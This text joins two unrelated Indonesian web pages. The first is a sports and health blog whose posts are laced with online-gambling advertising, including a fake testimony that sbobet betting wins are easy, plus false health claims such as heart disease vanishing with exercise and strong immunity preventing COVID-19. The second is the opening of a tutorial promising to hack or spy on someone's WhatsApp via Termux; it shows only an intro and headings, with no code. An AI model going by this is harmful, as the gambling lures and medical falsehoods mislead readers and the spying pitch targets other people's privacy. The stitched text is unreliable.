content:
Olahraga Extreme – Longboarding Skateboarding – Pastinya kalian banyak yang berpikiran bahwa hanya kegiatan skateboard yang menggunakan papan beroda. Namun jangan salah dikarenakan terdapat jenis olahraga longboarding yang memakai papan beroda.
Sehingga banyak dari kita semua menyebutkan kegiatan skateboard serta longboarding adalah sama. Namun terdapat juga perbedaan dari kedua hal itu. yaitu dibagian ukuran panjang papannya.
Sekilas Tentang Olahraga Extreme – Longboarding
Longboarding merupakan salah satu olahraga yang merupakan gabungan dari skateboard serta surfing. Hal itu dikarenakan papan longboar mempunyai ukuran 90 – 150 cm dengan bagian rodanya antar 68-85mm. Disamping itu juga longboard pun dilakukan pada sebuah lintasan jalanan yang menuruni bukit.
baca juga artikel tentang olahraga di tepi pantai
Namun sebelum melakukan olahraga ini kalian diwajibkan menggunakawn sepatu, helm serta berbagai perlengkapan pengaman seperti pelindung siku, lutut dan juga tangan.
Memang untuk melakukan olahraga longboarding ini diwajibkan memakai beberapa perlengkapan pelindung dikarenakan kekuatan serta kecepatan tiap melintasi jalanan menurun pastinya sangat berbahaya. Untuk jalan tersebut sangatlah sepi sunyi dalam memainkan olahraga longboard. Bagi para pemain lonboard pastinya juga telah dibekali skill serta teknik tinggi dalam membawa papan lintasan board ini.
Hal itu pastinya setiap pemain diharuskan sangat berhati hati dan harus mahir dalam menjaga keseimbangan yang tepat. Disamping itu semua pemain yang tidak terjaga keseimbangannya, maka pemain tersebut pastinya akan jatuh dan mengalami cedera yang lumayan parah juga.
Perkembangan Olahraga Longboarding
Disebutkan bahwa untuk salah satu olahraga longboarding ini sangatlah berbahaya, akan tetapi untuk popularitas salah satu olahraga extreme ini malah semakin besar setiap tahunnya.
Hal itupun didukung dengan rasa ingin tahu serta pengembangan skill dari pemain skateboard biasa yang kemudian beralih ke olahraga longboarding. Dan menurut salah satu komunitas LGCG yang terdapat di Spanyol bahwa kebanyakan wanita ataupun laki laki pastinya mencari olahraga yang lebih menantang nyali untuk kedepannya.
Semua itu pun merupakan alasanya mengapa banyak peminat skateboard yang beralih ke longboarding. Mereka biasanya melakukan kegiatan longboarding secara komunitas dan bukan secara individu.
Diposkan di Olahraga Extreme
Manfaatkan Olahraga Sepak Bola Sebagai Peluang Kesuksesan
Posted on | oleh Austin Fisher
Masih banyak sekali orang-orang di indonesia yang belum tahu jika sebenarnya Olahraga Sepak Bola / Olahraga apapun yang anda sukai itu semuanya bisa di manfaatkan sebagai peluang kesuksesan di agen judi sbobet bola online terpercaya di indonesia.
Mengapa ? KArena sudah terbukti banyak sekali penjudi yang berhasil meraih kemapanan dari permainan taruhan bola online uang asli bersama bandar sbobet terbaik dan terpercaya di indonesia.
Jadi jangan sia-siakan buat kalian & Manfaatkan Olahraga Sepak Bola Sebagai Peluang Kesuksesan yang paling menjamin kehidupan kita berubah drastis menjadi lebih baik 180 derajat.
Manfaatkan Olahraga Sepak Bola Sebagai Peluang Kesuksesan
Main taruhan judi online uang asli terdapat beragam macam jenis bursa taruhan bola online uang asli terlengkap semisal asian handicap, 1×2, outright, mix parlay, outright, correct score, odd even, over under, dan masih banyak lagi yang lainnya.
Namun ingat apabila putuskan buat ngebet judi bola 88 di agen sbobet terbaik dan terpercaya kita harus benar-benar memilih sebuah bandar bola online terpercaya supaya semua kemenangan serta fasilitas dalam melakasnakan betting terjamin 100%.
Saran dari admin sendiri buat kalian yang ngebet bola online kalo mau dapatkan keuntungan besar cobalah untuk bertaruh pada taruhan bola mix parlay sbobet, karena disini kamu cukup perlu mengeluarkan modal sedikit namun berkesempatan besar buat menghasilkan kemenangan sampai puluhan bahkan ratusan kali lipat dari modal yg sudah anda keluarkan.
Selain memanfaatkan Mix Parlay Bola Murah sebagai sarana mencari keuntungan paling besar di bandar bola online terpercaya 2020. Kamu juga bisa bertaruh pada taruhan asian handicap, karena disini akan ada fur-furan yang pastinya akan membuat anda jauh berkali-kali lipat lebih mudah buat menghasilkan cuan / keuntungan besar dari bandar sbobet indonesia.
Apalagi kamu menyukai permainan betting yang sudah pastinya akan jauh lebih gampang buat menganalisis setiap pertandingan yang akan tampil dan pastinya kemenangan akan jauh lebih mudah buat menghasilkan kemenangan besar di agen sbobet terpercaya di indonesia.
Jadi tunggu apa lagi ? Manfaatkan hobi anda dan hasilkan keuntungan besar sekali dari bandar judi bola terbesar dan terpercaya di indonesia.
Diposkan di Olahraga Mudah
Olahraga MATA JULING
Posted on | oleh Austin Fisher
Selamat datang di situs yang hadirkan informasi terbaru seputar olahraga, sebelumnya sudah saya bahas tips olahraga untuk orang untuk orang sibuk, nah pada kesempatan yang baik ini kami akan merangkum informasi mengenai seputar Olahraga Mata Juling, tentunya untuk penasaran seperto apa rangkumannya ? Segera scrool bacaan ini guys.
Mata juling atau yang lebih akrab disapa dengan nama Strabismus atau yang disebut sebagai kelainan dari mata. Tentunya salah satu penyebab mata juling ini ialah, karena raih gangguan koordinasi otot penggerak bola mata.
Beberapa orang yang terjangkit mata juling biasanya ada yang sejak lahir, sedangkan untuk beberapa lainnya yang terkena penyakit mata juling di usia masih remaja. Perlu anda ketahui penyebab dari mata juling ini dapat dipicu, dikarenakan mata yang berkerja lsangat berat, dalam atasi penglihatan.
Berbeda bersama dengan yang sebabkan mata juling terhadap anak-anak, orang dewasa yang yang juga merasakan cedera pada mata, stroke, diabetes dan botulisme, yang bisa membuat mata menjadi juling.
Olahraga MATA JULING
Mata juling sekarang dapat terjadi pada 2 kondisi yang berbeda pada umumnya. Peroleh juga terjadi dalam horizontal yaitu satu bola mata yg membuat arah kedalam serta yang satu mengarah pada bagian luar. Terdapat juga mata julung yang terjadi dalam vertikal, kejadian ini akan membuat salah satu dari bola mata akan jadi lebih tinggi.
Ketika anda selesai melakukan olahraga yang satu ini tentunya kamu bisa memainkan game terbaru bola ibcbet di Agen bola ibcbet Indonesia yang telah diminati dan populer bagi semua member judi ibcbet asia. Semua itu pun dikarenakan games terbaik ibcbet live dimainkan dengan cara ibcbet online dan bisa dimainkan selama 24 jam non stop tentunya.
Sekarang ini anda tidak perlu khawatir, karena pada kesempatan kali ini saya akan bahas olahraga atau latihan mata juling, yang saya harap bisa memberikan manfaat baik bagi para pembaca.
Latihan Fokus Terhadap Benda Jauh atau Dekat
Didalam simak suatu objek yang dekat selama beberapa detik, kemudian langsung ganti sudut pandang pada sisi lain dari ruangan. Anda haruslah pastikan bahwa kedua mata terfokuskan terhadap target yang tentunya masih sama, ketika lihat suatu sebelum akan pindah ke sisi yg lainnya. Tentunya dengan latihan ini akan membantu anda mengalami perbaikan Mata Juling nantinya.
Latihan Relaksasi
Untuk latihan yang satu ini sangat penting, dan juga dikenal sebagai palming, yaiut dengan melemaskan mata bersama gunakan kehangatan untuk tenangkan mata serta tingkatkan sirkulasi. Anda bisa gosok tangan secara bersamaan, sampai terasa hangat, setelah itu anda bisa letakkan pada bagian mata yang tertutup.
Anda bisa untuk tidak benar-benar menekan mata yg dalam posisi tertutup, ini bertujuan aga jaga leher sampai dengan bahu tetap rileks, anda bisa coba ini selama 5 menit saja.
Diposkan di Olahraga Mudah
Pentingnya Menjaga Kesehatan Dari COVID19
Posted on | oleh Austin Fisher
Sekarang diberbagai belahan dunia sedang ramai-ramainya wabah virus mematikan yaitu Corona, dan sekarang sangatlah pentingnya menjaga kesehatan dari COVID19. Karena virus tidak memungkinkan tertular secara langsung kepada orang-orang yang memiliki daya tahan / sistem imun tubuh yang kuat. Meski karena adanya virus nan tersebar rata diberbagai negara sekarang ini, maka setiap penduduk diwajibkan untuk berdiam diri dirumah saja. Tindakan ini dilakukan agar mengurangi perkembangan dari wadah corona, dan juga agar meminimalisir korban yang kemungkinan bakal tertular.
Karena sudah hampir satu bulan ini di Indonesia sendiri sudah hampir 1 bulan masyarakat tidak bisa melakukan aktifitas diluar rumah, maka tentunya beberapa dari kita lupa untuk melakukan kegiatan berolahraga. Karena untuk beberapa orang biasanya hanya melakukan kegiatan olahraga di tempat-tempat umum sepeti : Fitness, Yoga, Zumba, dan lain sebagainya. Namun disini pada artikel kali ini, kami bakal membantu mengingatkan kalian untuk melakukan beberapa kegiatan kesehatan yang bisa dilakukan dirumah secara mudah selama adanya pademik COVID19 ini.
Pada masa pandemi tidak manusia tidak hanya malas melakukan kegiatan kesehatan, namun tingkat kejahatan semakin marak. Sebab cukup sulit mendapatkan uang banyak orang memutuskan di agen sbobet terpercaya. Daftar Akun Sbobet Resmi mereka lakukan secara online, kemudian mulai asik pada permainan ini sehingga melupakan pentingnya untuk berolahraga.
Olahraga Mudah Dirumah Demi Menjaga Kesehatan Dari COVID19
Senam Pagi Hari
Melakukan senam tidak selalu beramai-ramai dengan banyak orang diluar rumah, namun anda juga masih tetap bisa melakukannya didalam rumah. Pilihlah ruangan khusus untukmelakukan aktifitas ini, lalu kalian cukup memutar cara melakukan senam yang benar melalui channel di you tube. Agar lebih mudah dan jelas, putarlah channelnya dari laptop atau tab kalian, karena saat meletakknya agak jauh dari posisi senam-mu, masih bisa terlihat dengan cukup jelas.
Berjemur Pagi Hari
Olahraga tidak selalu membutuhkan beberapa gerakan untuk bisa menghasilkan keringat, namun melakukan jemur dipagi hari juga mampu mengeluarkan keringat sehat dari tubuh. Lakukanlah kegiatan ini dibawah jam 10 pagi, bejemur selama 30-1 jam akan memberikan vitamin D alami kepada badan anda. Perlahan juga lemak jahat akan terbakar, setelah melakukan olahraga akan lebih baik jika kamu mengkonsumsi minuman air kelapa sebagai pengganti ION tubuh & juga menjaga kelembapan kulit karena habis berjemur tadi.
Nah itulah 2 kegitan berolahraa praktis & tetap bisa anda lakukan meski berada dalam rumah sekalipun, jangan biarkan kesehatan tubuh menurun karena bingun tidak bisa berolahraga selama masa karantina. Karena pengaruh olahraga terhadap kesehatan seseorang sangatlah besar, semakin sering kalian berlatih maka sistem imun juga menjadi kuat & tidak mudah terkena penyakit atau virus COVID19.
Diposkan di Olahraga Mudah | Ditandai olahraga
Pengaruh Olahraga Terhadap Kesehatan Seseorang
Posted on | oleh Austin Fisher
Banyak yang mengatakan bahwa kesehatan adalah salah satu hal yang paling mahal. Sebab, apabila kesehatan tidak dijaga dengan baik sudah pasti orang tersebut bisa jatuh sakit. Tentunya, setiap orang dan juga manusia pasti tidak ingin dirinya merasakan hal tersebut. Dampak dari kurangnya menjaga kesehatan salah satu organ tubuh tidak lain akan menghambat aktifitas kamu dalam keseharian. Contohnya tidak bisa mengantar anak sekolah, pergi ke tempat kerja bahkan ngumpul bareng teman teman.
Apabila kalian ingin terhindar dari sakit dan selalu fit maka yang harus dilakukan antara lain ialah berolahraga. Salah satu kegiatan yang memang sudah populer di kalangan masyarakat indonesia bahkan dunia ini sering dilakukan secara rutin. Bukan tanpa alasan mereka selalu giat melakukan hal ini , namun ada makna terbesar bagi kesehatan yakni menjaga tubuh agar sehat selalu. Hal ini jelas tidak ada ruginya apabila dilakukan oleh kamu dalam menjaga metabolisme tubuh agar selalu sehat dan berstamina.
Dampak Dari Sering Berolahraga Untuk Kesehatan
Seseorang yang sering melakukan olah raga sudah pasti berbeda dengan yang tidak sama sekali melakukan nya. Beberapa poin perbedaan yang signifikan mengenai seringnya berolahraga bisa kamu lihat dan juga rasakan dalam kegiatan sehari hari. Apa sajakah itu ? Mari simak ulasan berikut dalam hal positif bila berolahraga demi kesehatan !
Badan Terasa Lebih Ringan Dan Enteng.
Tidak Cepat Lelah Atau Kecapean dalam melakukan ragam kegiatan sehari hari.
Organ Tubuh Bisa Bekerja Secara Maksimal seperti : Jantung dapat memompa darah dengan baik, Aliran darah lancar, Ginjal dapat melakukan detoksifikasi dengan baik.
Tidak Mudah Sakit
Pikiran Dan Jiwa Selalu Tenang ( Membuat orang lebih rilex dalam menghadapi masalah )
Tentunya poin ini menjadi dambaan para olahragawan dalam melakukan aktifitas tersebut dalam menjaga kebugaran tubuh secara prima. Pesan ini juga dikatakan oleh tokoh kesehatan dan juga dokter agar setiap orang melakukan olahraga setiap hari. Dengan mengikuti metode dalam olahraga demi kesehatan ini dipastikan kamu bisa melakukan ragam hal menarik seperti hobby, bekerja dan juga hangout bersama teman teman. Nah saya memiliki salah satu keuntungan yang bisa kamu lakukan dalam olahraga yakni bermain sbobet casino 338a live online.
Perihal dalam sbobet casino online indonesia ini bisa kalian mainkan dimana saja termasuk pada saat olahraga ! Ko bisa ? Karena seiring perkembangan jaman nya daftar sbobet casino android ini sudah bisa dilakukan melalui IOS / ANDROID dari hape kalian. Mengenai bonus menarik yang ada pada agen sbobet casino terpercaya tentulah sangat bermanfaat untuk kalian mainkan. Jadi sambil olahraga, selain dapet sehatnya dapet juga duit aslinya.
Diposkan di Olahraga Mudah
Menjaga Kesehatan Jantung
Posted on | oleh Austin Fisher
Sekarang sangat penting untuk menjaga kesehatan jantung sebelum tiba nya masa tua, dimana seperti yang tengah kita ketahui saat ini angaka kematian terbesar adalah serangan jantung. Banyak juga orang bisa meninggal tiba-tiba karena adanya serangan jantung mendadak, khususnya ini terjadi dikalangan orang dewasa nan telah berusia sekita 50th+. Hal ini bisa diatasi dari sekarang yaitu dengan melakukan kegiatan kesehatan tubuh, ada beberapa olahraga menarik dan nyaman dilakukan untuk sehari-hari.
Serangan jantung adalah penyakit keturunan yang diwariskan oleh orang tua kita, namun hal tersebut akan hilang jika melakukan kegiatan sepeti dibawah ini:
Menjaga Kesehatan Jantung Dengan Berolahraga
Lari Pagi
Olahraga lari di pagi hari sangat baik bagi kesehatan tubuh manusia, apa lagi bagi kalian yang memiliki gangguan jantung. Namun pastikan agar tidak berlari dalam jarak sangat jauh, karena terlalu lelah juga akan sangat beresiko pada kesehatan kalian. Disini paling diutamakan adalah untuk lebih rutin dalam melakukan kegiatan tersebut, karena ini adalah cara terbaik melatih kesehatan jantung manusia. Kegiatan olahraga di pinggir pantai juga bsa dilakukan secara rutin, suasan menyenangkan seperti berada dipinggir pantai akan menjadi kan peredaran darah lebih lancar karena pikiran kita terasa sangat relax & tenang. Begitu juga dengan pertumbuhan akan mejadi lebih baik setiap harinya.
Senam Tangan
Lakukan senam pada otot-otot tangan sangat efektif untuk menjaga kesehatan jantung, urat-urat nadi yang tegang akan menjadi lebih santai sehingga juga memberikan efek kesegaran keseluruh anggota tubuh anda. Kolestrol merupakan salah satu penyebab terjadinya serangan jantung, nah jika anda memiliki hal itu pada tubuh kalian maka senam tangan akan sangat membantu sekali.
Bersepeda Secara Rutin
Melakukan aktifitas ini juga terbilang cukup ampuh, dimana kamu akan melatih jantung untuk pernafasan. Bernafas dengan benar selama sedang mengayuh diatas sepeda bakal bagus sekali untuk kesehatan, Setiap Seminggu 2 kali selama 1 jam sudah sangat bagus melakukan kegiatan berikut.
Kontrol Pola Makan
Poin ini adalah tambahan saja, dimana menjaga pola makan juga sangat penting bagi kesehatan jantung. Kurangilah makanan nan mengandung kadar lemak tinggi, juga gala makanan bersantan karena semua jenis makanan ini bisa membuat kamu menjadi obesitas.
Demikian tips menjaga kesehatan jantung dari kami yang dapat anda baca disini dengan benar & jelas, semoga hal ini bermanfaat buat kesehatan anda sekalian.
Diposkan di Olahraga Mudah
Olahraga Di Pinggir Pantai
Posted on | oleh Austin Fisher
Olahraga di pinggir pantai akan sangat efektif bagi kesehatan kalian, dimana rasa senang dan nyaman dapat dinikmati dalam waktu bersamaan sekaligus. Banyak orang melakukan olahraga biasanya dengan mendengarkan musik, dengan tujuan ketika sedang melakukan aktifitas ini menjadi lebih bersemangat. Namun tahukah anda, melakukan olahraga lari di pagi hari akan jauh lebih menyenangkan di pinggir pantai. Suana damai di pagi hari memiliki banyak fungsi yang dapat kalian dapat kan selama 1 telah melakukannya dengan rutin, baca selengkapnya juga di Tips olahraga untuk orang sibuk. Dan lebih lengkapnya dibawah ini:
Manfaat Melakukan Olahraga Di Pinggir Pantai
Sehat Jiwa & Jasmani
Untungnya melakukan kegiatan ini di pinggir pantai dapat kalian rasakan dengan mudah, setelah kurang lebih 1 bukan perasaan jiwa seseorang yang biasanya dipenuhi rasa cemas akan jauh lebih tenang. Selain akan beroleh kesehatan rasa senang yang terpancar dari jiwa kita membuat penampilan menjadi awet muda, akan sangat berdampak juga bagi penampilan raut wajah kalian. Disini kami menganjurkan kalian untuk melakukannya di pagi hari, dimana belum terlalu banyak pengunjung memadati suasana pantai. Supaya musik ombak dari pantai itu sendiri bisa kamu dengarkan dengan jelas dan alami.
Lokasi Jogging Yang Aman
Jika biasanya kamu melakukan kegiatan berlari hanya di daerah komplek atau sekitar taman kota saja, memang masih akan ada bahaya kecelakaan degan kendaraan. Apa lagi kalian suka memasang musik dari handphone ketika sedang berlari, akan sangat rentan terjadi kecalakaan di pinggir jalan tempat anda berlari. Butuh berhati-hati lebih jika hanya memiliki tempat berlari disepanjang jalan yang bayak orang berlalu lintas dengan kendaraan. Inlah sebabnya sebaiknya melakukan olahraga ini di pantai, bebas dari kecelakaan motor yang mengganggu.
Dapat Menikmati Keindahan
Di pagi hari adalah dimana matahari akan terbit, sebaiknya kalian melakukan aktifitas ini pada pukul 5.30 pagi. Sambil berlari bakal lebih mengasikkan ketika melihat keindahan alam, dan cantikan matahari terbit dari sudut pinngir pantai. Disinilah pembentukan jiwa yang tenang mu akan terjadi, pastinya akan merasa beryukur dan memberikan daya pikir positif kepada semuanya.
Seperti yang kita ketahui bersama ketika menikmati keindahan alam ini banyak juga orang yang sering memainkan game terbaik ion casino bersama agen highlucky ion casino yang merupakan salah satu situs ionclub casino Indonesia. Banyak juga orang itu awalnya memainkan game ioncasino terpercaya android hanya sekedar iseng iseng belaka, namun rupanya setelah mendapatkan hadiah jackpot terbesar ion club777. Maka mereka kemudian memainkan judi ionklub dengan full time.
Inilah sekilas penjelasan dari kami mengenai manfaat berlari di pinggir pantai, khususnya pada waktu pagi hari sebelum matahari terbit. Semoga kamu yang suka melakukan aktifitas ini bisa bisa memanfaatkannya dengan bijak dan benar. Selamat berlari 🙂
Diposkan di Olahraga Mudah
Tips Olahraga Untuk Orang Sibuk
Posted on | oleh Austin Fisher
Mungkin untuk menjalankan kegiatan olahraga pada saat ini menjadi sulit dilakukan untuk orang yang sibuk dengan aktivitasnya, nah jadi kehadiran saya akan menjelaskkan tentang tips olahraga untuk orang sibuk. Saya harap dengan adanya artikel ini bisa memberikan manfaat bagi para pembaca, jangan lupa beralih ke artikel saya sebelumnya : Persiapan Menikah Mempercantik Diri Dengan Olahraga.
Memang salah satu challenge atau tantangan di-era moderen ini ialah mengatur tempo untuk mejalani hidup yang sehat di tengah aktivitas sehari-hari, serta kesibukan tinggi yang biasanya banyak dirasakan orang di perkotaan; mulai dari kegiatan ngantor, terjebak macet saat di pagi hari sampai dengan kegiatan sampai tekanan perkerjaan yang banyak untuk diselesaikan.
Apalagi waktu untuk para player di agen bola sbobet terbaik, tentunya mereka hanya ingin meraih profit setiap hari, kadang sampai lupa waktu untuk olahraga.
Tips Olahraga Untuk Orang Sibuk
Tapi, apakah memang benar tak ada waktu untuk menjalankan olahraga? Atau perihal tersebut terjadi terjadi karena ada alasan terdapat kesibukan laun yang lebih diperioritaskan?
Perlu kalian ketahui, perihal yang terkait ini adalah Mahatma Gandhi pernah bersabda, “it is health that is real wealth and not pieces of gold and silver” Jadi maksudnya ialah apapun jawaban kalian, olahraga wajib dijalankan ditengah aktivitas sehari-hari tanpa harus menggangu rutinitas perkerjaan yang yang sangat numpuk dikeseharian.
Tentu anda tidak perlu menargetkan momen olahrga dengan latihan fisik yang cukup keras dengan menetapkan waktu tertentu, dengan harapan peroleh gantikan tempo olahraga yang hilang, ibaratkan anda ingin daftar sbobet, harus tentukan waktu yang tepat. Dikarenakan awalannya olahraga yang baik ialah dijalankan secara teratur dan konsisten. Dengan tidak perlu berdurasi yang sangat lama. Daftar Sbobet Bola Online tentu tidak memakan waktu yang lama untuk dijalankan, dengan proses yang pesat bisa kalian jalankan tidak sampai 5 menit di situs betting bola terpercaya.
Dengan menjalankan olahraga dengan waktu yang singkat dan santai bisa sangat baik khasiatnya, asal dilakoni secara rutin. Apakah ingin mengetahui kegiatan olahraga yang bisa dijalankan sehari-hari dalam waktu yang singkat, sehingga peroleh hasil jangka panjang optimal?
Sekarang untuk kamu yang sukar temukan waktu luang untuk menjalani olahraga berat secara khusus, berikut ini beberapa tips yang bisa anda lakukan, dipagi hari sebelum aktivitas sampai saat berada ditengah rutinitas pekerjaan di kantor :
– Minum air sebelum menjalankan olahraga ringan, karena dengan konsumsi arui putih sampai minimal 3 gelas bisa hindari tubuh, tentu dari potensi dehidrasi akibat gerakan olahraga.
– Mulai jalani olahraga ringan dari jam 6 pagi, dikarenakan pada saat ini udara yang masih segar serta bagus untuk paru-paru. Suhu udara juga biasanya tak dingin, tapi belum panas, selain tersebut matahari juga berkhasiat bagi bagi tubuh kita.
– Selanjutnya melaksanakan olahraga ringa setidaknya 30 menit saja, kalian juga bisa menentukan aktivitas gerak yang di-inginkan, misal jogging sampai dengan peregangan ringan. Intinya kalian dapat melakukan aktivitas fisi secara konstan terhadap waktu tersebut.
Diposkan di Olahraga Mudah
Melupakan Olahraga Bisa Menjadi Hal Fatal
Posted on | oleh Austin Fisher
Melupakan Olahraga Bisa Menjadi Hal Fatal adalah sebuah pernyataan yang benar-benar harus kita cermati karena memang ketika kita malas untuk melakukan olahraga kalian sendiri akan mengalami rasa penyakit yang dimana kalian akan tanggung itu di usia tua nanti kenapa kalian tidak melakukan olahraga karena kesibukan kalian sementara kalian sendiri harus bisa melakukan kegiatan tersebut untuk bisa membuat tubuh kalian terus bugar bukan malah sebagai insan yang mengalami penyakit karena kalian tidak melakukan olah raga sama sekali.
Lanjutkan membaca “Melupakan Olahraga Bisa Menjadi Hal Fatal” →
Diposkan di Olahraga Mudah
Olahraga investasi kesehatan masa depan
Posted on | oleh Austin Fisher
Melakukan kegiatan olahraga merupakan sebuah tindakan yang memang benar-benar baik dilakukan karena memang olahraga investasi kesehatan untuk masa depan kalian karena memang ketika kalian tidak melakukan olahraga sama sekali kalian tentunya akan sangat susah sekali untuk dapat memiliki kesehatan yang membuat diri kalian menjadi lebih sehat karena memang badan kalian sendiri tidak mengalami penurunan kekuatan dalam tubuh kalian melainkan mendapatkan kekuatan yang lebih lagi serperti yang bisa kalian dapatkan dari tempat Gym. Karena memang disaat ini banyak sekali yang bisa menjamin bahwa kalian akan bisa untuk mendapatkan suatu badan ideal dan kesehatan yang bisa membuat kalian menjadi lebih baik lagi dari sebelumnya.
Lanjutkan membaca “Olahraga investasi kesehatan masa depan” →
Diposkan di Olahraga Mudah
Persiapan Menikah Mempercantik Diri Dengan Olahraga
Posted on | oleh Austin Fisher
Nama saya liana, saya mempunyai cita-cita untuk menikah di korea tetapi dengan penghasilan saya dan calon suami ku yang sangat kecil. Maka tidak akan mungkin bisa saya mewujudkan impian saya itu. Tetapi calon suami ku sangat menyanyanggi saya. Calon suami ku selalu berusaha untuk membahagiakan saya. Dengan pergaulan dia yang sangat banyak bersama teman-temannya. Dia selalu mendapatkan ide-ide yang sangat banyak untuk memotivasikan calon suamiku. Calon suamiku selalu bilang kepada saya, kalau saya bisa mewujudkan menikah di korea.
Saya ingin mempercantik diri dengan olahraga gym yang sehat dan dengan begitu, di saat pesta pernikahan saya, saya akan semakin cantik dan mempersona di tempat GYM yang bagus. Saya sangat bahagia sekali memiliki calon suami yang sangat berpengertian. Saya merasa saya wanita yang paling beruntung mendapatkan calon suami seperti dia. Salah satu teman calon suamiku merekomendasikan bermain taruhan bola sbobet. Maka tidak salahnya, mencoba keberuntungan tersebut. Calon suamiku bergabung di bola sbobet dengan tujuan menikahi aku di Korea.
Saya sangat mendukung usaha suami ku tersebut. Karena tujuannya cuman mau membahagiakan saya. Saya juga sangat aktif bergabung di situs judi bola online tersebut. Karena gampang sekali untuk kita mencapai kemenangannya. Saya dan suami ku selalu aktif bermain. Maka dengan hasil yang kita bisa capai sangat besat berpuluhan juta. Dengan kita selalu mendapatkan promo bonus yang sangat tinggi.
MEMPERCANTIK DIRI DENGAN OLAHRAGA SEHAT
Sekarang saya dan calon suamiku selalu aktif dalam bermain disitus judi bola online. Karena dengan kita aktif bermian maka akan dengan gampang kita mewujudkan impian ku. Sudah seperti kehidupan ku dan calon suami ku bermain taruhan bola sbobet tersebut. Nahhh untuk anda ingin mencoba bermain bola online dengan tujuan merubah kehidupan menjadi lebih baik. Maka anda bisa bemain sekarang juga di situs judi bola online tersebut dan untuk anda ingin mengakses nya.
Kalian cukup klik link tersebut sbobet88 login terpopuler dengan berbagai bonus dari taruhan login sbobet88 mobie dan berbagai permainan bola sbobet 88 yang bisa anda dapatkan. Jangan menunda lagi untuk anda menjadi seorang master judi bola sbobet88wap online terkaya di dunia.
Diposkan di Olahraga Mudah | Ditandai MEMPERCANTIK DIRI DENGAN OLAHRAGA
Tempat gym bagus
Posted on | oleh Austin Fisher
Jika ingin melakukan olahraga biasanya saya akan pergi ketempat gym, namun kini saya sudah memiliki tempat gym bagus sendiri. Olahtaga gym bisa dilakukan oleh wanita & juga pria, untuk kesehatan tentuhnya kita harus memberikan gerakan lebih kepada tubuh kita. Agar kekuatan otot & tulang terjaga kesehatannya, tentunya dalam seminggu 1-2 kali lakukan lah olahraga gym secara rutin.
Awalnya memang agak sulit untuk jadi terbiasa dengan kegiatan rutinitas gym, apa lagi masih baru dan belum terlalu tahu bagaimana cara melakukan olahraga kesehatan ini. Jika kalian masih baru maka akan ada istruksi yg akan memberikan arahan melakukan gerakan & tahapan nan benar. Biaya dalam melakukan kegiatan olahraga bermanfaat tidak terlalu mahal, biasa nya hanya perlu dana 20 ribu untuk satu kali datang.
Dari pada melakukan hal negatif seperti bermain judi bola online, di situs judi bola resmi dan terpercaya. Lebih baik melakukan olahraga untuk kesehatan, bermain sbobet link alternatif sangat merugikan. Jika kalah dengan agen resmi sbobet maka kamu bisa rugi uang dalam jumlah banyak, agen sbobet menyediakan layanan daftar sbobet selama 24 jam namun tempat untuk gym tidak selalu tersedia selama 24 jam. Inilah yg menjadi kelebihan tersendiri untuk daftar agen judi bola terpercaya Indonesia.
Lanjutkan membaca “Tempat gym bagus” →
Diposkan di Olahraga Mudah
Olahraga Senam Dirumah Bisa Dilakukan keluarga
Posted on | oleh Austin Fisher
Senam dirumah bisa kalian lakukan di dalam rumah yang dimana kalian bisa melakukan kegiatan ini bersama keluarga kalian dengan mudah tanpa harus menggunakan banyak alat karena memang kalian hanya perlu melihat atau menonton video senam yang memang bisa mempermudah kalian dalam melakukan senam ini. Dengan seperti ini kalian tentu saja bisa melakukan banyak sekali olahraga dengan mudah melakukan olahraga dan cepat karena kalian bisa membuat tubuh anda menjadi lebih sehat dengan mudah tanpa mengalami kesulitan sedikitpun.
Lanjutkan membaca “Olahraga Senam Dirumah Bisa Dilakukan keluarga” →
Diposkan di Olahraga Mudah
Olahraga mudah Untuk Keluarga
Posted on | oleh Austin Fisher
Olahraga Mudah Untuk keluarga Banyak sekali di cari oleh banyak orang, karena banyak orang yang ingin melakukan banyak aktivitas dengan keluarga tercinta karena mereka lebih menginginkan untuk smeua anggota keluarganya sehat dan juga bugar dan tidak ada satupun dari mereka mengalami sakit. Selain dari bersepeda di pagi hari disini kami juga memiliki olahraga pagi yang dimana mudah untuk sebuah keluarga lakukan dibandingkan dengan olahraga berat lainya. Disini olahraga yang akan kami bahas adalah olaharaga jalan pagi yang dimana ini juga sangat seru untuk kita lakukan bersama keluarga kecil kita.
Lanjutkan membaca “Olahraga mudah Untuk Keluarga” →
Diposkan di Olahraga Mudah
bersepeda dipagi hari
Posted on | oleh Austin Fisher
Bersepeda dipagi hari hal ini sering kita lihat banyak sekali orang yang melakukan olahraga ini dikarenakan kegiatan ini juga merupakan sebuah sarana yang mudah untuk kita ambil dan bisa kita nikmati dengan mudah. Selain dari lari pagi bersepeda pun juga merupakan olahraga yang menyenangkan karena kalian akan merasakan setiap kesegaran di pagi hari yang dimana bisa membuat kalian lebih segar karena tidak adanya polusi saat dipagi hari serta keadaan yang sepi dan nyaman.
Setelah itu kalian sendiri bisa merasakan semua badan kalian bergerak terutama di bagian kaki yang jauh lebih bergerak dari semuanya. Otot yang banyak kalian rasakan dari pergerakan tersebut adalah kalian bisa memiliki bentuk kaki yang kecil atau besar tetapi kencang.


content:
Cara DDOS Attack dengan Termux Android Tips Hack Whatsapp Paling Sederhana dengan Aplikasi Clone App Mesengger Cara Menggunakan Termux Di HP Android Untuk Hacking Hack WA (Whatsapp) Dengan CMD dan Aplikasi Spy Cara Hack Psiphon Pro Menjadi Unlimited dengan Lucky Patcher
Beranda Android Cara Hack Atau Sadap WhatsApp Orang Lain Super Ampuh Dalam 5 Menit
Cara Hack Atau Sadap WhatsApp Orang Lain Super Ampuh Dalam 5 Menit
Cara Hack Atau Sadap WhatsApp Orang Lain Super Ampuh Dalam 5 Menit
Whatsapp merupakan salah satu aplikasi chating yang sangat popular dan banyak digunakan oleh para pengguna hp android karena memang memiliki banyak fitur yang menarik. Meski begitu, nyatanya akun Whatasapp masih bisa dihack loh, slalah satunya dengan menggunakan aplikasi bernama Termux. Lalu bagaimana cara untuk hack akun Whatsapp orang lain menggunakan aplikasi Termux di hp android?
Baca Juga : Hindari Kebiasaan yang Membuat Daya Baterai Ponsel LG Mudah Habis
Tenang saja karena kali ini saya akan membahas cara untuk hack atau menyadap akun Whatsapp orang lain dengan mudah dan juga ampuh. Jika kamu penasaran bagaimana cara untuk hack atau sadap akun Whatsapp orang lain, maka kamu bisa simak artikel ini supaya kamu tau bagaimana cara untuk hack atau sadap akun Whatsapp orang lain. Berikut cara hack atau sadap akun Whatsapp orang lain dengan mudah dan juga ampuh.
Daftar isi
Cara Hack Atau Sadap WhatsApp Orang Lain Super Ampuh Dalam 5 Menit
Cara Hack Atau Sadap WhatsApp Orang Lain Super Ampuh Dalam 5 Menit
